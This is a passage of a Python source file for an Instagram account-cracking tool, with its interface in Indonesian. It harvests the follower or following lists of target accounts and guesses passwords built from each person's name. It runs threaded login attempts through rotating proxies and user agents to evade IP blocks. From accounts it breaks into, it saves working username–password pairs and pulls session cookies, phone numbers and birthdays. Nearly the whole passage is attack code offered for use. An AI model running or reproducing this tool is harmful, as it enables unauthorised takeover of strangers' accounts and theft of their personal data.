  354.         xx=self.s.get("https://i.instagram.com/",headers={"user-agent":USN}).content
  355.         crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
  356.         s.headers.update({'Connection': 'close',
  357.                        'Accept': '*/*',
  358.                        'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  359.                        'Cookie2': '$Version=1',
  360.                        'Accept-Language': 'en-US',
  361.                        'User-Agent': USN})
  362.  
  363.         data = json.dumps({'_uuid': uuid,
  364.                            '_uid': username_id,
  365.                            'user_id': user_id,
  366.                            '_csrftoken': crf_token})
  367.  
  368.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  369.             self.generateUUID(False),
  370.             urllib.request.quote(data))
  371.         return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
  372.  
  373.  
  374.     def searchAPI(self,cookie,nama):
  375.         try:
  376.             x=s.get('https://i.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
  377.             x_jason=json.loads(x.text)
  378.             for i in x_jason['users']:
  379.                 user=i['user']
  380.                 username=user['username']
  381.                 fullname=user['full_name']
  382.                 internal.append(f'{username}|{fullname}')
  383.         except requests.exceptions.ConnectionError:
  384.             prints(Panel(f'{P2}koneksi internet anda bermasalah silahkan cek dan coba lagi masuk ke tools',width=90,style=f"bold purple"));time.sleep(3);exit()
  385.         return internal
  386.  
  387.     def idAPI(self,cookie,id):
  388.         if 'sukses' in lisensiku:
  389.             try:
  390.                 m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  391.                 m_jason=m.json()["data"]["user"]
  392.                 idx=m_jason["id"]
  393.             except requests.exceptions.ConnectionError:
  394.                 prints(Panel(f'{P2}koneksi internet anda bermasalah silahkan cek dan coba lagi masuk ke tools',width=90,style=f"bold purple"));time.sleep(3);exit()
  395.             except Exception as e:
  396.                 prints(Panel(f'{P2}Username Yang Anda Masukan Tidak Di Temukan Atau Akun Private',width=90,padding=(0,7),style=f"bold purple"));exit()
  397.             return idx
  398.         else:lisensi()
  399.    
  400.    
  401.     def ingfo(self,cookie):
  402.         try:
  403.             link = s.get(f"https://i.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":USN},cookies={"cookie":cookie}).json()["form_data"]
  404.             nomor = link["phone_number"].replace("-", "").replace(" ", "")
  405.             tggl = link["birthday"]
  406.             year, month, day = tggl.split("-")
  407.             month = bulan_ttl[month]
  408.             tanggal = (f"{day} {month} {year}")
  409.         except:
  410.             nomor = "-"
  411.             tanggal = "-"
  412.         return nomor, tanggal
  413.    
  414.     def infoAPI(self,cookie,api,id):
  415.         if 'sukses' in  lisensiku:
  416.             try:
  417.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  418.                 x_jason=json.loads(x.text)
  419.                 for i in x_jason['users']:
  420.                     username = i["username"]
  421.                     nama = i["full_name"]
  422.                     internal.append(f'{username}|{nama}')
  423.                     following.append(username)
  424.                 if 'pengikut' in menudump:
  425.                     maxid=x_jason['next_max_id']
  426.                     for z in range (9999):
  427.                         x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  428.                         x_jason=json.loads(x.text)
  429.                         try:
  430.                             for i in x_jason['users']:
  431.                                 username = i["username"]
  432.                                 nama = i["full_name"]
  433.                                 internal.append(f'{username}|{nama}')
  434.                                 following.append(username)
  435.                             try:
  436.                                 maxid=x_jason['next_max_id']
  437.                             except:
  438.                                 break
  439.                         except:
  440.                             if 'challenge' in x.text:
  441.                                 break
  442.                             else:
  443.                                 continue
  444.                 else:pass
  445.             except requests.exceptions.ConnectionError:
  446.                 prints(Panel(f'{P2}Koneksi Internet Anda Bermasalah Silahkan Cek Dan Coba Lagi Masuk Ke Tools',width=90,style=f"bold purple"));time.sleep(3);exit()
  447.             except Exception as e:
  448.                 prints(Panel(f'{P2}Username Yang Anda Masukan Tidak Di Temukan Atau Akun Private',width=90,padding=(0,7),style=f"bold purple"));exit()
  449.             return internal
  450.         else:lisensi()
  451.        
  452.     def ifoAPI(self,cookie,api,id):
  453.         if 'sukses' in  lisensiku:
  454.             try:
  455.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":BrayennnXD()})
  456.                 x_jason=json.loads(x.text)
  457.                 for i in x_jason['users']:
  458.                     username = i["username"]
  459.                     nama = i["full_name"]
  460.                     internal.append(f'{username}|{nama}')
  461.                     following.append(username)
  462.                 if 'mengikuti' in menudump:
  463.                     maxid=x_jason['next_max_id']
  464.                     for z in range (9999):
  465.                         x=s.get('https://www.instagram.com/api/v1/friendships/'+id+'/following/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":BrayennnXD()})
  466.                         x_jason=json.loads(x.text)
  467.                         try:
  468.                             for i in x_jason['users']:
  469.                                 username = i["username"]
  470.                                 nama = i["full_name"]
  471.                                 internal.append(f'{username}|{nama}')
  472.                                 following.append(username)
  473.                             try:
  474.                                 maxid=x_jason['next_max_id']
  475.                             except:
  476.                                 break
  477.                         except:
  478.                             if 'challenge' in x.text:
  479.                                 break
  480.                             else:
  481.                                 continue
  482.                 else:pass
  483.             except requests.exceptions.ConnectionError:
  484.                 prints(Panel(f'{P2}Koneksi Internet Anda Bermasalah Silahkan Cek Dan Coba Lagi Masuk Ke Tools',width=90,style=f"bold purple"));time.sleep(3);exit()
  485.             except Exception as e:
  486.                 prints(Panel(f'{P2}Username Yang Anda Masukan Tidak Di Temukan Atau Akun Private',width=90,padding=(0,7),style=f"bold purple"));exit()
  487.             return internal
  488.         else:lisensi()
  489.        
  490. #------------------[ PILIH METODE AND PASSWORD ]-------------------#
  491.     def ifo(self):
  492.         urut = []
  493.         urut.append(Panel(f"{P2}[[bold cyan]01{P2}] Methode API ",padding=(0,11),style=f"bold purple"))
  494.         urut.append(Panel(f"{P2}[[bold cyan]02{P2}] Methode AJAX",padding=(0,11),style=f"bold purple"))
  495.         console.print(Columns(urut))
  496.        
  497.     def passwordAPI(self,xnx):
  498.         prints(Panel(f"{P2}   Total Username Terkumpul : {color_rich}{len(internal)}",width=90,padding=(0,20),style=f"bold purple"))
  499.         self.ifo()
  500.         u = input(f' [+] Pilih Metode: ')
  501.         if u in ["1","01"]:
  502.             method.append('satu')
  503.         elif u in ["2","02"]:
  504.             method.append('dua')
  505.         else:
  506.             method.append('satu')
  507.         prints(Panel(f"{P2}[[bold cyan]01{P2}] Name,Name123,Name1234\n[[bold cyan]02{P2}] Name,Name123,Name1234,Name12345\n[[bold cyan]03{P2}] Name,Name123,Name1234,Name12345,Name123456\n[[bold cyan]04{P2}] Name,Name12,Name123,Name1234,Name12345,Name123456\n[[bold cyan]05{P2}] Password Manual",width=90,padding=(0,3),title='List Password',style=f"bold purple"))
  508.         c=input(f'{N} [+] Masukan Pilihan :{C} ')
  509.         if c in ['1','01']:
  510.             self.generateAPI(xnx,c)
  511.         elif c in ['2','02']:
  512.             self.generateAPI(xnx,c)
  513.         elif c in ['3','03']:
  514.             self.generateAPI(xnx,c)
  515.         elif c in ['4','04']:
  516.             self.generateAPI(xnx,c)
  517.         elif c in ['5','05']:
  518.             prints(Panel(f"{P2}Masukan Password Manual Minimal Password 6 Karakter Jangan Sampe Kurang\nContoh Password : Indonesia,Bengkulu123,Papua1234",width=90,style=f"bold purple"))
  519.             zx=input(f' [+] Masukan Password : ')
  520.             self.generateAPI(xnx,c,zx)
  521.         else:
  522.             self.passwordAPI(xnx)
  523.            
  524.     def generateAPI(self,user,o,zx=''):
  525.         global prog,des
  526.         xxkontol.append(Panel(f"""{H2}Hasil OK Ter Simpan Di {P2}:{P2}{day}.txt""",width=45,style=f"bold purple"))
  527.         xxkontol.append(Panel(f"""{K2}Hasil CP Ter Simpan Di {P2}:{P2}{day}.txt""",width=45,style=f"bold purple"))
  528.         console.print(Columns(xxkontol))
  529.         prints(Panel(f"{P2}           Crack Di Mulai Tekan {color_rich}'Ctrl+Z'{P2} Di Keyboard Anda Jika Ingin Berhenti\n\n                  {P2}Hidupkan Mode Pesawat 5 Detik Jika Terdeteksi Spam IP",width=90,padding=(0,4),style=f"bold purple"))
  530.         anims = random.choice(["clock","smiley","monkey","moon","earth"])
  531.         prog = Progress(SpinnerColumn(f'{anims}'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  532.         des = prog.add_task('',total=len(internal))
  533.         with prog:
  534.             with ThreadPoolExecutor(max_workers=15) as shinkai:
  535.                 for i in user:
  536.                     try:
  537.                         username=i.split("|")[0]
  538.                         password=i.split("|")[1].lower()
  539.                         for w in password.split(" "):
  540.                             if len(w)<3:
  541.                                 continue
  542.                             else:
  543.                                 w=w.lower()
  544.                                 if o=="1":
  545.                                     if len(w)==3 or len(w)==4 or len(w)==5:
  546.                                         sandi=[w,w+'123',w+'1234',w+'321']
  547.                                     else:
  548.                                         sandi=[w,w+'123',w+'1234',w+'321']
  549.                                 elif o=="2":
  550.                                     if len(w)==3 or len(w)==4 or len(w)==5:
  551.                                         sandi=[w,w+'123',w+'1234',w+'12345']
  552.                                     else:
  553.                                         sandi=[w,w+'123',w+'1234',w+'12345', password.lower()]
  554.                                 elif o=="3":
  555.                                     if len(w)==3 or len(w)==4 or len(w)==5:
  556.                                         sandi=[w,w+'123',w+'1234',w+'321',w+'4321',w+'12345',w+'123456',password.lower()]
  557.                                     else:
  558.                                         sandi=[w,w+'123',w+'1234',w+'321',w+'4321',w+'12345',w+'123456',password.lower()]
  559.                                 elif o=="4":
  560.                                     if len(w)==3 or len(w)==4 or len(w)==5:
  561.                                         sandi=[w,w+'123',w+'1234',w+'12',w+'321',w+'234',w+'4321',w+'12345',w+'123456',w+'1234567',password.lower()]
  562.                                     else:
  563.                                         sandi=[w,w+'123',w+'1234',w+'1',w+'2',w+'321',w+'4321',w+'12345',w+'123456',password.lower()]
  564.                                 elif o=="5":
  565.                                     if len(zx) > 3:
  566.                                         sandi = zx.replace(" ", "").split(",")
  567.                             if 'satu' in method:
  568.                                 shinkai.submit(self.crackAPI,username,sandi)
  569.                             elif 'dua' in method:
  570.                                 shinkai.submit(self.new,username,sandi)
  571. #                                       break
  572. #                   shinkai.submit(self.crackAPI,username,sandi)
  573.                     except:
  574.                         pass
  575.         prints(Panel(f"  {P2}Crack {color_rich}{len(internal)} {P2}Username Selesai Hasil OK : {H2}{len(success)}{P2} Hasil CP : {K2}{len(checkpoint)}{P2} ",width=90,padding=(0,8),style=f"bold purple"));time.sleep(4);exit()
  576.  
  577.     def APIinfo(self,user):
  578.         try:
  579.             x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  580.             x_jason=x.json()["data"]["user"]
  581.             nama=x_jason["full_name"]
  582.             pengikut=x_jason["edge_followed_by"]["count"]
  583.             mengikut=x_jason["edge_follow"]["count"]
  584.             postingan=x_jason["edge_owner_to_timeline_media"]["count"]
  585.         except:
  586.             pass
  587.  
  588.         return nama,pengikut,mengikut,postingan
  589.  
  590. #------------------[ METODE API V1 ]-------------------#
  591.     def crackAPI(self,user,pas):
  592.         global loop,success,checkpoint
  593.         ses=requests.Session()
  594.         ua = random.choice(UserBrayCrack)
  595.         prog.update(des,description=f"{H2}[API]{P2} {loop}/{len(internal)} OK-:{H2}{len(success)}{P2} CP-:{K2}{len(checkpoint)}{P2}")
  596.         prog.advance(des)
  597.         try:
  598.             for pw in pas:
  599.                 brayennnxd=random.randint(1000000000, 99999999999)
  600.                 ts = calendar.timegm(current_GMT)
  601.                 proxy = {'http': 'socks5://'+random.choice(proxxy)}
  602.                 p = ses.get('https://i.instagram.com/api/v1/web/accounts/login/ajax/')
  603.                 head = {
  604.                     'Host': 'i.instagram.com',
  605.                     'Connection': 'keep-alive',
  606.                     'Content-Length': '314',
  607.                     'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="101"',
  608.                     'X-IG-App-ID': '1217981644879628',
  609.                     'X-IG-WWW-Claim': '0',
  610.                     'sec-ch-ua-mobile': '?1',
  611.                     'X-Instagram-AJAX': '8a5016770d5c',
  612.                     'Content-Type': 'application/x-www-form-urlencoded',
  613.                     'Accept': '*/*',
  614.                     'X-Requested-With': 'XMLHttpRequest',
  615.                     'X-ASBD-ID': '198387',
  616.                     'User-Agent': ua,
  617.                     'X-CSRFToken': p.cookies['csrftoken'],
  618.                     'sec-ch-ua-platform': '"Android"',
  619.                     'Origin': 'https://i.instagram.com',
  620.                     'Sec-Fetch-Site': 'same-origin',
  621.                     'Sec-Fetch-Mode': 'cors',
  622.                     'Sec-Fetch-Dest': 'empty',
  623.                     'Referer': 'https://i.instagram.com/',
  624.                     'Accept-Encoding': 'gzip, deflate, br',
  625.                     'Accept-Language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6,jv;q=0.5'}
  626.                 data = {
  627.                     "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pw}",
  628.                     "username": user,
  629.                     "queryParams": "{}",
  630.                     "optIntoOneTap": 'false',
  631.                     "stopDeletionNonce": "",
  632.                     "trustedDeviceRecords": "{}"}
  633.                 respon=ses.post("https://i.instagram.com/api/v1/web/accounts/login/ajax/", headers = head, data = data, proxies = proxy, allow_redirects = False)
  634.                 brayennnxd=json.loads(respon.text)
  635.                 if 'userId' in str(brayennnxd):
  636.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  637.                     cookie = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  638.                     nomor, tanggal = self.ingfo(cookie)
  639.                     tree = Tree("")
  640.                     tree.add(Panel.fit(f"{H2}{user} {P2}| {H2}{pw}"))
  641.                     tree.add(f"{P2}Followers : {H2}{pengikut}")
  642.                     tree.add(f"{P2}Following : {H2}{mengikut}")
  643.                     tree.add(f"{P2}Nomor HP  : {H2}{nomor}")
  644.                     tree.add(f"{P2}Postingan : {H2}{postingan}")
  645.                     tree.add(f"{P2}Tanggal Lahir : {H2}{tanggal}").add(f"{N2}{cookie}{P2}\n")
  646.                     prints(tree)
  647.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  648.                     success.append(user)
  649.                     break
  650.  
  651.                 elif 'href="https://www.instagram.com/challenge/action/' in str(brayennnxd):
  652.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  653.                     tree = Tree("")
  654.                     tree.add(Panel.fit(f"{K2}{user} {P2}| {K2}{pw}"))
  655.                     tree.add(f"{P2}Followers : {K2}{pengikut}")
  656.                     tree.add(f"{P2}Following : {K2}{mengikut}")
  657.                     tree.add(f"{P2}Postingan : {K2}{postingan}").add(f"{K2}{USN}\n")
  658.                     prints(tree)
  659.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  660.                     checkpoint.append(user)
  661.                     break
  662.                 elif "ip_block" in str(respon.text):
  663.                     prog.update(des,description=f"{M2}SpamIP{P2} {loop}/{len(internal)} OK-:{H2}{len(success)}{P2} CP-:{K2}{len(checkpoint)}{P2}")
  664.                     prog.advance(des)
  665.                     time.sleep(10)
  666.                     self.crackAPI(user,pas)
  667.                 else:
  668.                     continue
  669.             loop+=1
  670.         except requests.ConnectionError:
  671.             time.sleep(10)
  672.            
  673.            
  674. #------------------[ METODE API V2 ]-------------------#
  675.     def new(self,user,pas):
  676.         global loop,success,checkpoint
  677.         ses=requests.Session()
  678.         ua = random.choice(UserBrayCrack)
  679.         prog.update(des,description=f"{H2}[AJAX]{P2} {loop}/{len(internal)} OK-:{H2}{len(success)}{P2} CP-:{K2}{len(checkpoint)}{P2}")
  680.         prog.advance(des)
  681.         try:
  682.             for pw in pas:
  683.                 brayennnxd=random.randint(1000000000, 99999999999)
  684.                 ts = calendar.timegm(current_GMT)
  685.                 proxy = {'http': 'socks5://'+random.choice(proxxy)}
  686.                 p = ses.get('https://www.instagram.com/web/__mid')
  687.                 ses.headers.update({
  688.                     'Host':'www.instagram.com',
  689.                     'x-ig-www-claim':'0',
  690.                     'x-instagram-ajax':'6543adcc6d29',
  691.                     'content-type':'application/x-www-form-urlencoded',
  692.                     'accept':'*/*',
  693.                     'x-requested-with':'XMLHttpRequest',
  694.                     'x-asbd-id':'198387',
  695.                      'user-agent':ua,
  696.                      'x-csrftoken':p.cookies['csrftoken'],
  697.                      'x-ig-app-id':'1217981644879628',
  698.                      'origin':'https://www.instagram.com',
  699.                      'sec-fetch-site':'same-origin',
  700.                      'sec-fetch-mode':'cors',
  701.                      'sec-fetch-dest':'empty',
  702.                      'referer':'https://www.instagram.com/accounts/onetap/',
  703.                      'accept-language':'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})        
  704.                 data = {
  705.            "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pw}",
  706.             "username": user,
  707.             "queryParams": "{}",
  708.             "optIntoOneTap": 'false',
  709.             "stopDeletionNonce": "",
  710.             "trustedDeviceRecords": "{}"}
  711.                 respon=ses.post("https://www.instagram.com/accounts/login/ajax/", data=data, allow_redirects=True)
  712.                 brayennnxd=json.loads(respon.text)
  713.                 if 'userId' in str(brayennnxd):
  714.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  715.                     cookie = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  716.                     nomor, tanggal = self.ingfo(cookie)
  717.                     tree = Tree("")
  718.                     tree.add(Panel.fit(f"{H2}{user} {P2}| {H2}{pw}"))
  719.                     tree.add(f"{P2}Followers : {H2}{pengikut}")
  720.                     tree.add(f"{P2}Following : {H2}{mengikut}")
  721.                     tree.add(f"{P2}Nomor HP  : {H2}{nomor}")
  722.                     tree.add(f"{P2}Postingan : {H2}{postingan}")
  723.                     tree.add(f"{P2}Tanggal Lahir : {H2}{tanggal}").add(f"{N2}{cookie}{P2}\n")
  724.                     prints(tree)
  725.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  726.                     success.append(user)
  727.                     break
  728.  
  729.                 elif 'href="https://www.instagram.com/challenge/action/' in str(brayennnxd):
  730.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  731.                     tree = Tree("")
  732.                     tree.add(Panel.fit(f"{K2}{user} {P2}| {K2}{pw}"))
  733.                     tree.add(f"{P2}Followers : {K2}{pengikut}")
  734.                     tree.add(f"{P2}Following : {K2}{mengikut}")
  735.                     tree.add(f"{P2}Postingan : {K2}{postingan}").add(f"{K2}{USN}\n")
  736.                     prints(tree)
  737.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  738.                     checkpoint.append(user)
  739.                     break
  740.                 elif "ip_block" in str(respon.text):
  741.                     prog.update(des,description=f"{M2}SpamIP{P2} {loop}/{len(internal)} OK-:{H2}{len(success)}{P2} CP-:{K2}{len(checkpoint)}{P2}")
  742.                     prog.advance(des)
  743.                     time.sleep(10)
  744.                     self.new(user,pas)
  745.                 else:
  746.                     continue
  747.             loop+=1
  748.         except requests.ConnectionError:
  749.             time.sleep(10)
  750.            
  751.     def checkAPI(self,usr,pwd):
  752.         try:
  753.             ts = calendar.timegm(current_GMT)
  754.             ses=requests.Session()
  755.             proxy = {'http': 'socks5://'+random.choice(prox_xyaa)}
  756.             ua_brayen = USN
  757.             token=s.get("https://i.instagram.com/accounts/login",headers={"user-agent":self.ua_igeh()}).content
  758.             crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  759.             s.headers.update({
  760.                 'authority': 'www.instagram.com',
  761.                 'connection': 'keep-alive',
  762.                 'sec-ch-ua': '";Not A Brand";v="99", "Chromium";v="94"',
  763.                 'x-ig-app-id': '1217981644879628',
  764.                 'x-ig-www-claim': 'hmac.AR3jlStdcYspw88nLWvVnCDdiZ-KPvru_TasoSJlzGz-iXV2',
  765.                  'x-requested-with': 'XMLHttpRequest',
  766.                 'sec-ch-ua-mobile': '?1',
  767.                 'x-instagram-ajax': 'c6412f1b1b7b',
  768.                 'content-type': 'application/x-www-form-urlencoded',
  769.                 'accept': '*/*',
  770.                 'x-csrftoken': crf_token,
  771.                 'user-agent': ua_brayen,
  772.                 'x-asbd-id': '198387',
  773.                 'sec-ch-ua-platform': '"Android"',
  774.                 'origin': 'https://www.instagram.com',
  775.                 'sec-fetch-site': 'same-origin',
  776.                 'sec-fetch-mode': 'cors',
  777.                 'sec-fetch-dest': 'empty',
  778.                 'referer': 'https://www.instagram.com/',
  779.                 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8'
  780.             })
  781.  
  782.             param={
  783.                 "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pwd}",
  784.                     "username": usr,
  785.                     "optIntoOneTap": False,
  786.                     "queryParams": "{}",
  787.                     "stopDeletionNonce": "",
  788.                     "trustedDeviceRecords": "{}"
  789.             }
  790.             x=s.post("https://i.instagram.com/accounts/login/ajax/",data=param,proxies=proxy)
  791.             x_jason=json.loads(x.text)
  792.             if "userId" in x.text:
  793.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  794.                 print(f"""
  795.    ├ {CY} Live{N}
  796.     ├ {CY}{usr}|{pwd}
  797.     ├ Followers {CY}{pengikut}
  798.     ├ Following {CY}{mengikut}
  799.     ├ Posts
  800.      ∟ jumlah Post {CY}{postingan}""")
  801.             elif 'checkpoint_url' in x.text:
  802.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  803.                 print(f"""
  804.    ├ {K}Checkpoint{N}
  805.     ├ {K}{usr}|{pwd}
  806.     ├ Followers {K}{pengikut}
  807.     ├ Following {K}{mengikut}
  808.     ├ Posts
  809.     ∟ jumlah Post {K}{postingan}""")
  810.             elif 'Please Wait A Few Minutes' in str(x.text):
  811.                 sys.stdout.write(f"\r {U}!{C}] {U}Please Wait A Few Minutes Second{C}");sys.stdout.flush();sleep(10)
  812.                 self.checkAPI(usr,pwd)
  813.         except:
  814.             self.checkAPI(usr,pwd)
  815.  
  816.     def menu(self):
  817.         self.logo()
  818.         c=input(f' [+] Pilih : ')
  819.         if c=='':
  820.             prints(Panel(f"{P2}Pilih Yang Bener Broo Jangan Kosong !",width=90,padding=(0,19),style=f"bold purple"));time.sleep(3);exit()
  821.         elif c in ('1','01'):
  822.             print('masih Tahap Pengmbangan')
  823.             exit()
  824.  
  825.         elif c in ('2','02'):
  826.             mas=input(f' [+] Apakah Anda Ingin Crack Masal Y/t : ')
  827.             if mas in ['y','Y']:
  828.                 masal(self)
  829.             elif mas in ['t','T']:
  830.                 massal(self)
  831.             elif mas in ['']:
  832.                 print(" Y/t Bro Jangan Kosong")
  833.  
  834.  
  835.         elif c in ('3','03'):
  836.             mas=input(f' [+] Apakah Anda Ingin Crack Masal Y/t : ')
  837.             if mas in ['y','Y']:
  838.                 mengi(self)
  839.             elif mas in ['t','T']:
  840.                 meng(self)
  841.             elif mas in ['']:
  842.                 print(" Y/t Bro Jangan Kosong")
  843.  
  844.  
  845.         elif c in ('4','04'):
  846.             file_cp()
  847.            
  848.         elif c in ('5','05'):
  849.             print('')
  850.             for i in os.listdir('result'):
  851.                 prints(Panel(f"{P2}Hasil Crack : {color_rich}{i}",width=90,style=f"bold purple"))
  852.             c=input(f' [+] Masukan Nama File : ')
  853.             g=open("result/%s"%(c)).read().splitlines()
  854.             xx=c.split("-")
  855.             xc=xx[0]
  856.             print(f' Total Results : {H}{len(g)}{C}')
  857.             for s in g:
  858.                 usr=s.split("|")[0]
  859.                 pwd=s.split("|")[1]
  860.                 fol=s.split("|")[2]
  861.                 ful=s.split("|")[3]
  862.                 if xc=="checkpoint":
  863.                     cetak(nel(f"""
  864. [bold yellow][+] Checkpoint :
  865. [+] Username: {usr}
  866. [+] Password: {pwd}
  867. [+] Followers: {fol}
  868. [+] Following: {ful}
  869.                     """,title=f"[bold white]VindraID[bold yellow] CP",padding=(0,2),style=f"bold purple"));sleep(0.05)
  870.                 else:
  871.                     cetak(nel(f"""
  872. [bold yellow] [+] Live :
  873. [+] Username : {usr}
  874. [+] Password : {pwd}
  875. [+] Pengikut : {fol}
  876. [+] Mengikuti : {ful}
  877.                     """,title=f"[bold white]VindraID[bold green] OK",padding=(0,2),style=f"bold purple"));sleep(0.05)
  878.         elif c in ('6','06'):
  879.             print('masih eror banh')
  880.             exit()
  881.  
  882.         elif c in ('7','07'):
  883.             print('kamu akan di arahkan ke facebook admin')
  884.             os.system('xdg-open https://www.facebook.com/nano.giung')
  885.  
  886.         elif c in ('0','00'):
  887.             self.Exit()
  888.    
  889.  
  890.         else:
  891.             exit()
  892.  
  893. #----------[ CRACK MASSAL MENGIKUTI ]---------- #
  894. def mengi(self):
  895.             try:
  896.                 menudump.append('mengikuti')
  897.                 m=int(input(f' [+] Jumlah Target : {N}'))
  898.             except:m=1
  899.             prints(Panel(f"{P2}Pastikan Username Target Yang Di Pilih Bersifat Publik Dan Jangan Private",width=90,style=f"bold purple"))
  900.             for t in range(m):
  901.                 t +=1
  902.                 nama=input(f' [+] Username Target : {C}')
  903.                 id=self.idAPI(self.cookie,nama)
  904.                 info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  905.             self.passwordAPI(info)
  906.  
  907. #-----------------[ CRACK MENGIKUTI ]-----------------#
  908. def meng(self):
  909.     try:
  910.         menudump.append('mengikuti')
  911.         prints(Panel(f"{P2}Pastikan Username Target Yang Di Pilih Bersifat Publik Dan Jangan Private",width=90,style=f"bold purple"))
  912.         m=input(f' [+] Username Target : ')
  913.         print(f" [+] Wait Collect Username {m}")
  914.         id=self.idAPI(self.cookie,m)
  915.         info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  916.         self.passwordAPI(info)
  917.     except Exception as e:
  918.         print(e)
  919.  
  920. #-----------------[ CRACK MASSAL PENGIKUT ]----------------- #
  921. def masal(self):
  922.             try:
  923.                 menudump.append('pengikut')
  924.                 m=int(input(f' [+] Jumlah Target : {N}'))
  925.             except:m=1
  926.             prints(Panel(f"{P2}Pastikan Username Target Yang Di Pilih Bersifat Publik Dan Jangan Private",width=90,style=f"bold purple"))
  927.             for t in range(m):
  928.                 t +=1
  929.                 nama=input(f' [+] Username Target : {C}')
  930.                 id=self.idAPI(self.cookie,nama)
  931.                 info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  932.             self.passwordAPI(info)
  933.  
  934. #-----------------[ CRACK PENGIKUT ]-----------------#
  935. def massal(self):
  936.             menudump.append('pengikut')
  937.             prints(Panel(f"{P2}Pastikan Username Target Yang Di Pilih Bersifat Publik Dan Jangan Private",width=90,style=f"bold purple"))
  938.             m=input(f' [+] Username Target : {C}')
  939.             print(f" [+] Wait Collect Username {m}")
  940.             id=self.idAPI(self.cookie,m)
  941.             info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  942.             self.passwordAPI(info)
  943.  
  944. #-----------------------[ DEF CEK OPSI ]--------------------#
  945. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  946. from concurrent.futures import ThreadPoolExecutor
  947. from bs4 import BeautifulSoup as parser
  948. from threading import (Thread, Event)
  949. from time import sleep as jeda
  950. from datetime import datetime
  951.  
  952. ct = datetime.now()
  953. n = ct.month
  954. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  955. try:
  956.     if n < 0 or n > 12:
  957.         exit()
  958.     nTemp = n - 1
  959. except ValueError:
  960.     exit()
  961.  
  962. current = datetime.now()
  963. hari = current.day
  964. bulan = bulan_[nTemp]
  965. tahun = current.year
  966. bullan = current.month
  967.  
  968.  
  969. M = '\x1b[1;91m' # MERAH
  970. H = '\x1b[1;92m' # HIJAU
  971. K = '\x1b[1;93m' # KUNING
  972. B = '\x1b[1;94m' # BIRU
  973. U = '\x1b[1;95m' # UNGU
  974. O = '\x1b[1;96m' # BIRU MUDA
  975. P = '\x1b[1;97m' # PUTIH
  976. J = '\033[38;2;255;127;0;1m' # ORANGE
  977. N = '\x1b[0m' # WARNA MATI
  978. acak = [P]
  979. warna = random.choice(acak)
  980. til ="\033[0m [+] "
  981.  
  982. def jalan(keliling):
  983.     for mau in keliling + '\n':
  984.         sys.stdout.write(mau)
  985.         sys.stdout.flush();jeda(0.03)
  986.        
  987.        
  988. ubah_pass = []
  989. pwbaru = []
  990. pwBaru = []
  991. ubahP = []
  992.  
  993. def file_cp():
  994.     dirs = os.listdir('CP')
  995.     print ("%s%s%s%s\033[0m\033[0mPilih Hasil Crack Yg Tersimpan Untuk Cek Opsi %s\n"%(P,til,P,P,P))
  996.     for file in dirs:
  997.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  998.     try:
  999.         print("\n%s%s%s\033[0mMasukan file [ Contoh %s: %sCP-%s.txt%s ]"%(P,til,P,P,P,day,P))
  1000.         opsi()
  1001.     except IOError:
  1002.         print ('%s%s\033[0mFile Tidak Ada'%(P,til))
  1003.         exit()
  1004.  
  1005. def opsi():
  1006.     CP = ("CP/")
  1007.     romi = input("%s%s%s\033[0mNama file %s> %s"%(P,til,P,P,P))
  1008.     if romi == "":
  1009.         print(" [+] Isi Yang Benar "%(P,til))
  1010.         exit()
  1011.     try:
  1012.         file_cp = open(CP+romi, "r").readlines()
  1013.     except IOError:
